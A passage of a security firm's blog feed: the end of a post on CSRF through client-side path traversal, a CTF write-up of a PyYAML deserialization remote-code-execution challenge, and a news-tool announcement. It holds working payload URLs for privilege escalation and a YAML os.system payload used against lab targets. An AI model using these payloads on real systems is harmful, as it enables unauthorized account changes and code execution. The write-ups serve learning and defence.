promotes a user to admin, and the <strong>/users/&lt;USER-ID&gt;/delete</strong> which deletes a user.</p><p>Since the backend doesn’t care about extra parameters in the request body and only the path matters, we can target them directly.</p><p>The final payloads will look like the following:</p><p>Payload to promote</p><pre>http://localhost.lan:3001/validate?userId=..%2fadmin%2fpromote%2fATTACKER-USERID%3f</pre><p>Payload to delete</p><pre>http://localhost.lan:3001/validate?userId=VICTIM-USERID%2fdelete%3f</pre><p>When the victim clicks one of these links while logged in, the application’s own JavaScript:</p><ol><li>Resolves the manipulated path.</li><li>Sends the request with the victim’s JWT in the Authorization header.</li><li>Executes the action without the victim’s consent.</li></ol><p>In this example, an admin user clicked on the following URL, resulting in promoting an attacker with userId <strong>092dc69583ca40b397cd7cd4485ddc4d</strong></p><pre>http://localhost.lan:3001/validate?userId=..%2fadmin%2fpromote%2f092dc69583ca40b397cd7cd4485ddc4d%3f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*irZxcxlFye3x9bkElwtRSA.png" /></figure><p>At this point, we’ve bypassed the JWT in header “protection” that comes as a consequence of using header-based authentication and pulled off a CSRF-style attack entirely via the frontend’s path handling.</p><h3>Conclusion</h3><p>As we can see, CSRF can still be exploitable through Client-Side Path Traversal, even with SameSite cookies and in applications that use header-based authentication. There’s no single silver bullet that fixes every case, so the safest approach is to avoid designs where client-side variables determine the request path sent to the server.</p><p>For applications that already rely on this pattern, it’s important to enforce strict validation on the backend by clearly defining which parameters and paths are expected, and by rejecting requests that include unexpected values. Doing so significantly reduces the likelihood of attackers finding a meaningful CSPT sink to exploit.</p><p>Additionally, client-side input validation is also useful because it adds another layer of complexity for an attacker. Even though client-side validation can be bypassed by modifying the DOM or altering the code, it’s unrealistic for an attacker to rely on a victim doing that themselves, which makes exploiting a CSPT through this vector significantly harder. Still, client-side validation should always be seen as a complement to server-side protections, not a replacement.</p><p><strong>Lucas Cebrero Lell </strong>[<a href="https://www.linkedin.com/in/lucascebrerolell/">LinkedIn</a>] [<a href="https://x.com/_czx_0">X</a>]<br>Security Consultant @ Kulkan</p><p><strong>Resources:</strong></p><ul><li>MDN Web Docs: SameSite cookies: <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite)">https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite)</a></li><li>OWASP CSRF Cheat Sheet: <a href="https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-cryptographically-secure-pseudo-random-number-generators-csprng">https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#rule---use-cryptographically-secure-pseudo-random-number-generators-csprng</a></li><li>Doyensec CSPT to CSRF: <a href="https://blog.doyensec.com/2024/07/02/cspt2csrf.html">https://blog.doyensec.com/2024/07/02/cspt2csrf.html</a></li><li>Curated list of CSPT resources: <a href="https://blog.doyensec.com/2025/03/27/cspt-resources.html">https://blog.doyensec.com/2025/03/27/cspt-resources.html</a></li></ul><h3>About Kulkan</h3><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at<a href="http://www.kulkan.com/"> www.kulkan.com</a></p><p>More on Kulkan at:</p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><p>Subscribe to our newsletter at:</p><ul><li><a href="https://kulkan.beehiiv.com/subscribe">https://kulkan.beehiiv.com/subscribe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=31c26a1baece" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solving YWH Dojo #43 — Custom CCTV Firmware Challenge]]></title>
            <link>https://medium.com/@kulkan-security/solving-ywh-dojo-43-custom-cctv-firmware-challenge-fcfd07f804e0?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/fcfd07f804e0</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[yeswehack]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Wed, 24 Sep 2025 15:48:33 GMT</pubDate>
            <atom:updated>2025-09-24T15:48:33.273Z</atom:updated>
            <content:encoded><![CDATA[<h3>Solving YWH Dojo #43 — Custom CCTV Firmware Challenge</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G0BWCLLShzjB00KGv82f_A.png" /></figure><p>Hello everyone! Octavio Gorrini here, security consultant at Kulkan. As a way to continue learning I like to play CTFs, participate in challenges and share what we learn. Today we have a new write up on one of the “<a href="https://dojo-yeswehack.com/challenge-of-the-month">Yes We hack Dojos”</a>, in this case, challenge #43. I hope you enjoy it.</p><p>The challenge description was the following:</p><p><em>“During a pentest, we discovered a rare custom Linux distro running a CCTV management program that seemed to be stuck in a boot process. If we could upload a custom firmware, we’d get remote code execution (RCE) on the CCTV. The rest was up to us”</em></p><p>Pretty straightforward: the goal was RCE. To begin with, I opened the provided files, and read the source code.</p><p><strong><em>Note</em></strong><em>: In my opinion, one of the best things about YWH challenges is that you have access to the code, you can analyze it, find the vulnerabilities and exploit them. This helps not only to continue learning about pentesting techniques but also helps improve code review skills.</em></p><pre>import time, yaml, random<br>from urllib.parse import unquote<br>from jinja2 import Environment, FileSystemLoader<br><br>template = Environment(<br>    autoescape=True,<br>    loader=FileSystemLoader(&#39;/tmp/templates&#39;),<br>).get_template(&#39;index.html&#39;)<br>os.chdir(&#39;/tmp&#39;)<br><br>class Firmware():<br>    def __init__(self, version:str):<br>        self.version = version<br>    <br>    def update(self):<br>        pass<br><br>def genToken(seed:str) -&gt; str:<br>    random.seed(seed)<br>    return &#39;&#39;.join(random.choices(&#39;abcdef0123456789&#39;, k=16))<br>def main():<br>    tokenRoot = genToken(int(time.time()) // 1)<br><br>    yamlConfig = unquote(&quot;&quot;)<br>    tokenGuest = unquote(&quot;&quot;)<br><br>    access = bool(tokenGuest == tokenRoot)<br><br>    firmware = None<br>    if access:<br>        try:<br>            data = yaml.load(yamlConfig, Loader=yaml.Loader)<br>            firmware = Firmware(**data[&quot;firmware&quot;])<br>            firmware.update()<br>        except:<br>            pass<br>        <br>    print( template.render(access=access) )<br><br>main()</pre><p>After reading the code I understood that:</p><ul><li>An authentication token was needed, <strong>tokenGuest</strong> in the code.</li><li>Some sort of YAML payload was processed, <strong>yamlConfig</strong>.</li></ul><p>We’ll see how these parameters are used below.</p><h3>Analyzing the code</h3><p>The first line that caught my eye was:</p><pre>def genToken(seed:str) -&gt; str:<br> random.seed(seed)<br> return &#39;&#39;.join(random.choices(&#39;abcdef0123456789&#39;, k=16))</pre><p>This generated a pseudo-random 16-character “hex-ish” token based on a seed, but why “pseudo-random”? Because if you use the same seed, you get the same result.</p><p>Example: <strong>genToken(123)</strong> → ‘<strong>c46e63e00a07e28b</strong>’ (always the same).</p><p>Then later:</p><pre>def main():<br> tokenRoot = genToken(int(time.time()) // 1)<br> access = bool(tokenGuest == tokenRoot)</pre><p>The seed used is the <strong>timestamp in seconds</strong>. It compares the server’s token with the one we send. If they match → <strong>True</strong>, otherwise <strong>False</strong>. If access is <strong>True</strong>:</p><pre>if access:<br> try:<br>     data = yaml.load(yamlConfig, Loader=yaml.Loader)<br>     firmware = Firmware(**data[&quot;firmware&quot;])<br>     firmware.update()<br> except:<br>     pass</pre><p>At high level, this could be simplified on:</p><ul><li>The code simulates a firmware update process.</li><li>There is an access control check where the token sent by the user is compared against a token generated by the server.</li><li>If the tokens are equal, the “update process” kicks in, loading the update with yaml.load(). This is where the code is vulnerable and can be exploited.</li></ul><p>How can this be exploited?</p><ul><li><strong>yaml.load()</strong> parses trusted and untrusted input the same way, potentially deserializing malicious objects directly. The <a href="https://pyyaml.org/wiki/PyYAMLDocumentation">documentation</a> is very clear about how dangerous it is to use this method with untrusted data.</li><li>So I can say “Hey, deserialize this object that calls <strong>os.system()</strong>” and Python will happily do it.</li><li><strong>The root cause of the bug is the use of <em>yaml.load()</em> which is dangerous when parsing untrusted input.</strong></li></ul><p>My attack plan was:<br> 1. Predict the token using <strong>time.time()</strong> and <strong>random.seed()</strong>, to be able to reach the vulnerable code.<br> 2. Time the request just right to pass the token check.<br> 3. Send a malicious YAML payload to pop a shell (or at least run commands).</p><h3>Hitting the rate limit</h3><p>The first obstacle I faced was: <strong>rate limiting</strong>. If it wasn’t there, I could just brute-force millions of tokens per second and win. But the app blocked me. After testing, I realized it allowed ~<strong>1 request every 1.8 seconds</strong>. So I ditched Burp, wrote a custom Python script, and focused only on <strong>getting the right token</strong> first.</p><h3>First attempt</h3><p>My first “strategy” was pure chaos: trying to match the server’s <strong>time.time()</strong> with my local version, spoiler alert: Totally impossible. 😂 Then I thought: What if it’s just the timestamp in seconds?. Then, I should be able to <strong>predict</strong> it. I made a script to generate the next 10 tokens based on the next seconds trying to sync with the server, adjusting delays (2s, 2.2s…) hoping to land on the right second.</p><p>Example output:</p><pre>[*] Next attempt at t=1753760457 with token: 56fa51386001fd7f<br>[-] Invalid token: 56fa51386001fd7f<br>[*] Next attempt at t=1753760462 with token: 1fc8d6a7222930d2<br>[-] Invalid token: 1fc8d6a7222930d2</pre><p>No luck. After losing my mind, I gave up for the day and came back Monday night.</p><h3>Second attempt: The latency trick</h3><p>After more frustration (and fights with ChatGPT giving me weird ideas), it hit me: <strong>latency was the problem.</strong></p><p>Those milliseconds between my machine and the server were messing up the exact timing needed. So I added a <strong>LATENCY_OFFSET</strong>. I tried negative offsets (<strong>-0.5, -0.45</strong>…), nothing. Then I tried positive offsets. At <strong>+0.2</strong>: <strong>BAM!!, valid token.</strong> From there, I changed my strategy: calculate <strong>t+3 seconds</strong> and send just that token in a loop.</p><pre>[*] Loop mode: syncing every 3 seconds…<br>[*] Next attempt at t=1753882522 with token: 291bfc085714b6ec<br>[+] VALID TOKEN: 291bfc085714b6ec</pre><p>Finally, access granted.</p><h3>Putting all together: Exploiting the unsafe yaml.load()</h3><p>Once I had access, RCE was easy. The payload that I used was:</p><pre>YAML_PAYLOAD = quote(&#39;firmware: !!python/object/apply :os.system [&quot;whoami&quot;]&#39;)</pre><p>The output received:</p><pre>&quot;output&quot;:&quot;nobody&quot;</pre><p>Then I found this in the source:</p><pre>import os<br>os.chdir(&#39;tmp&#39;)<br>os.mkdir(&#39;templates&#39;)<br>os.environ[&quot;FLAG&quot;] = flag</pre><p>The flag was in an environment variable. Perfect. So I changed my payload to:</p><pre>YAML_PAYLOAD = quote(&#39;firmware: !!python/object/apply :os.system [&quot;echo $FLAG&quot;]&#39;)</pre><blockquote>An extra space character was added to the payload before <strong>:os.system</strong> to prevent a Medium autosave bug from triggering; otherwise Cloudflare blocks a Medium request to its “deltas” API.</blockquote><p>And got:</p><pre>[+] RESPONSE:<br>&quot;output&quot;:&quot;FLAG{M4lware_F1rmw4r3_N0t_F0und}&quot;</pre><h3>Takeaways</h3><p>Honestly, for me, it was a super fun challenge. These are perfect for practicing code analysis and exploitation. Things I learned:</p><ul><li>time.time() in Python is always <strong>UTC</strong> (I almost lost it thinking I had to do timezone math).</li><li>How random.seed really works, not random at all if the seed is predictable.</li><li>Rate limiting isn’t always about bypassing; sometimes it forces you to think differently.</li></ul><p>Thanks for reading! I Hope you enjoyed the post, see you on the next one!</p><p><strong>Octavio Gorrini </strong>[<a href="https://www.linkedin.com/in/octavio-gorrini-083016158/">LinkedIn</a>] [<a href="https://x.com/zleepersec">X</a>]<br>Security Consultant @ Kulkan</p><h3>About Kulkan</h3><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at<a href="http://www.kulkan.com/"> www.kulkan.com</a></p><p>More on Kulkan at:</p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><p>Subscribe to our newsletter at:</p><ul><li><a href="https://kulkan.beehiiv.com/subscribe">https://kulkan.beehiiv.com/subscribe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fcfd07f804e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[In4m: Keeping up with the Latest Infosec News]]></title>
            <link>https://medium.com/@kulkan-security/in4m-keeping-up-with-the-latest-infosec-news-ff4a045cf8a9?source=rss-d4ad84534f10------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff4a045cf8a9</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[news]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Kulkan Security]]></dc:creator>
            <pubDate>Mon, 01 Sep 2025 20:23:54 GMT</pubDate>
            <atom:updated>2025-09-01T20:23:54.251Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*9tw-XamKwuK8tPW5JC2Wjw.png" /></figure><p>At Kulkan, we believe it’s essential to stay continuously informed about the latest security threats that could impact both our customers and the broader community. But in today’s fast-paced and evolving threat landscape, the recurring question remains: how do we keep up?</p><p>To help answer this, I’ve built a lightweight tool called ‘<a href="https://github.com/kulkansecurity/in4m">in4m</a>’. Its purpose is simple: collect the latest security news from trusted, curated sources I frequently read, and present it in a clean, summarized format.</p><p>in4m is available in GitHub at:</p><ul><li><a href="https://github.com/kulkansecurity/in4m">https://github.com/kulkansecurity/in4m</a></li></ul><p>By default in4m retrieves news from the following sources:</p><ul><li><strong>The Hacker News</strong></li><li><strong>WatchTowr Labs</strong></li><li><strong>Hackread</strong></li><li><strong>Bleeping Computer</strong></li></ul><p>Here’s how in4m works:</p><ul><li>You choose your preferred sources from a preset list.</li><li>The tool scrapes only the first page of each source to keep things short and quick.</li><li>You can customize how many headlines to display and trigger scraping manually when needed, useful if you change your sources.</li><li>To minimize redundant scraping, responses are cached locally and reused when the tool is re-run.</li><li>You can include a keyword search to highlight keywords.</li><li>Only titles are presented in the client. Links are provided to access/read the article in the original source.</li></ul><p>While in4m is intentionally minimalistic, I have personally found it helpful for staying current with relevant news. Furthermore, it can be useful in a variety of scenarios. For example, a security researcher who has just published a CVE can quickly check if it has been picked up by well-known outlets, while blue team analysts might use it to stay ahead of breaking vulnerabilities, ransomware campaigns, or patch advisories.</p><p>I hope in4m helps you keep up with the latest news and trends!</p><p><strong>Florián Reyes </strong>[<a href="https://www.linkedin.com/in/florian-reyes-8983b9225/">LinkedIn</a>] [<a href="https://x.com/florianreyess">X</a>]<strong><br></strong>Security Consultant @ Kulkan</p><h3>About Kulkan</h3><p>Kulkan Security (<a href="http://www.kulkan.com/">www.kulkan.com</a>) is a boutique offensive security firm specialized in Penetration Testing. If you’re looking for a Pentest partner, we’re here. Reach out to us via our website, at <a href="http://www.kulkan.com/">www.kulkan.com</a></p><p>More on Kulkan at:</p><ul><li><a href="https://blog.kulkan.com/">https://blog.kulkan.com</a></li><li><a href="https://x.com/kulkansecurity">https://x.com/kulkansecurity</a></li><li><a href="https://www.linkedin.com/company/kulkan-security">https://www.linkedin.com/company/kulkan-security</a></li></ul><p>Subscribe to our newsletter at:</p><ul><li><a href="https://kulkan.beehiiv.com/subscribe">https://kulkan.beehiiv.com/subscribe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff4a045cf8a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>